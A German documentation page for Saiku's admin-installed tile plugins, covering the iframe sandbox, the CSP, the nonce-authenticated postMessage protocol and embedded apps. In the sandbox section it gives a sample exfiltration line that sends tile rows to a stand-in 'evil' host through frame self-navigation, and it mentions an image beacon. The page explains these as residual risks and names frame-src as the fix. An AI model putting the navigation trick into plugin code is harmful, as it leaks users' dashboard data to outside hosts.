Plugins (fortgeschritten)

Ein Tile-Plugin ist das mächtigste Custom Tile: ein in sich geschlossenes HTML-+-JavaScript-Widget, das in einem abgeriegelten sandboxed iframe rendert, während Saiku ihm die Abfragezeilen des Tiles zuführt. Nutzen Sie es, wenn weder die eingebauten Tiles noch die deklarativen Custom Renderer zeichnen können, was Sie brauchen — eine maßgeschneiderte Anzeige, ein ungewöhnliches Layout, ein eigens gebautes Widget.

Plugins sind ein fortgeschrittenes, administrator-kontrolliertes Feature. Auf dieser Seite geht es überwiegend um ihr Vertrauensmodell, denn das richtig hinzubekommen zählt mehr als die Mechanik.

Achtung

Plugins sind vom Admin installierter, vertrauenswürdiger Code. Ein Dashboard-Autor kann ein bereits installiertes Plugin nur nach Namen auswählen — es gibt keinen Weg, rohes HTML oder JavaScript durch ein Tile einzuschleusen. Ein Plugin zu installieren ist ein administrativer Akt, gleichbedeutend damit, ein Server-Plugin-JAR auf die Maschine zu legen: Sie gewähren diesem Code das Vertrauen, in den Browsern Ihrer Benutzer mit den Daten zu laufen, die seine Tiles anzeigen.

Wie ein Plugin installiert wird

Ein Operator (kein Dashboard-Benutzer) legt ein Bundle in einen Ordner auf dem Saiku-Server:

${saiku.home}/tile-plugins/
  records-bars/
    plugin.json    # id, label, and an optional option schema
    plugin.html    # self-contained widget: inline CSS/JS, data: images only

• plugin.json deklariert die id des Plugins (ein Slug wie records-bars), ein Anzeige-label und optional ein optionSchema, das die vom Autor konfigurierbaren Optionen beschreibt.
• plugin.html ist das Widget selbst — ein einzelnes, in sich geschlossenes HTML-Dokument mit inline CSS und JavaScript (keine entfernten Skripte, Styles oder Fonts; Bilder müssen data:-URIs sein).

Der Server scannt den Ordner und macht installierte Plugins auswählbar. Ein Dashboard-Autor fügt eines über + Tile hinzufügen ein, wo jedes installierte Plugin als eigener Eintrag erscheint; das persistierte Tile speichert nur die id des Plugins, niemals Markup.

Saiku liefert ein Seed-Beispiel mit — records-bars, ein einfaches Records-Balkendiagramm — damit eine frische Installation ein funktionierendes Plugin zum Ansehen und Kopieren hat.

Was die Sandbox eindämmt — und was nicht

Jeder Plugin-Frame läuft hinter zwei Eindämmungsschichten.

1. Ein iframe sandbox="allow-scripts" (bewusst ohne allow-same-origin). Der Frame läuft am opaken null-Origin, also kann Plugin-Code nicht:

• das DOM, die Cookies oder den localStorage der Elternseite lesen;
• die Saiku-Session, ein Embed-Token oder Daten anderer Origins sehen;
• Popups öffnen, Formulare abschicken, das Top-Window navigieren oder Downloads auslösen.

2. Eine strikte Content-Security-Policy auf dem Frame (default-src 'none', kein connect-src). Das blockiert Netzwerk-Egress im Hintergrund — fetch, XHR, WebSocket, EventSource, sendBeacon, entfernte Subresourcen und den klassischen <img src="https://evil…">-Beacon.

Gefahr

Was keine der beiden Schichten stoppt: Ein Plugin kann seinen eigenen Frame navigieren. Ein sandboxed Frame darf immer seine eigene location setzen, und keine CSP-Fetch-Direktive regiert Navigation. Ein Plugin kann die in seinem eigenen Tile gezeigten Daten also weiterhin nach außen senden (z. B. location = "https://evil/?d=" + rows).

Die Sandbox isoliert den Saiku-Origin vollständig — ein Plugin sieht nie etwas jenseits der Zeilen seines eigenen Tiles — aber diese Zeilen sind vor dem Plugin selbst nicht vertraulich. Genau deshalb wird Plugin-Code vom Admin installiert und ist vertrauenswürdig: Wer ein Plugin installiert, vertraut ihm die Daten an, die das Tile dieses Plugins anzeigt.

Den Selbstnavigations-Kanal schliessen

Wollen Sie auch den Exfil-Kanal über Selbstnavigation zumachen, setzt ein Operator ein restriktives frame-src in der Deployment-CSP über saiku.security.csp (am Reverse Proxy oder in der CSP-Konfiguration des Launchers). Einzuschränken, wohin Plugin-Frames navigieren dürfen, ist der einzige Weg, Navigation zu regieren — die Sandbox pro Tile und die CSP können es konstruktionsbedingt nicht.

Das Protokoll zwischen Plugin und Host

Host und Plugin kommunizieren ausschließlich über window.postMessage. Beim Mounten injiziert der Host eine kryptografische Nonce pro Frame; jede Nachricht, die ein Plugin sendet, muss diese Nonce zurückspiegeln, sonst wird sie verworfen (der Origin eines sandboxed Frames ist der String "null", die Nonce ist also der einzige vertrauenswürdige Authenticator).

• Host → Plugin: init (die Optionen des Autors), data (die Abfrage-Records), theme und resize.
• Plugin → Host: ready (ich bin geladen), resize (bitte setze meine Höhe — vom Host geklemmt), filter (eine Auswahl, die der Host gegen den lebenden Cube neu auflöst — ein Plugin kann kein MDX injizieren) und error (nur als reiner Text gerendert).

Der Host validiert und klemmt alles, was ein Plugin sendet; eine fehlerhafte oder nicht authentifizierte Nachricht wird ignoriert statt ausgeführt.

Plugins in eingebetteten Apps

Wenn eine App eingebettet wird, werden ihre Plugin-Tiles token-scoped ausgeliefert: Ein Gast kann genau die Plugins laden, die die Tiles der eingebetteten App referenzieren, und sonst nichts. Dieselbe Sandbox-+-CSP-Eindämmung gilt, und derselbe Selbstnavigations-Vorbehalt bleibt bestehen — die frame-src-Empfehlung oben ist also auch für eingebettete Apps die Operator-Kontrolle.

Verwandt

• Custom Tiles — die sichereren, codefreien deklarativen Renderer; greifen Sie erst dann zu einem Plugin, wenn diese nicht reichen.
• Eine App einbetten — wie Token-Scoping auf Plugin-Tiles wirkt.
• Wie Ihre Daten behandelt werden — das breitere Datenhandhabungs-Modell.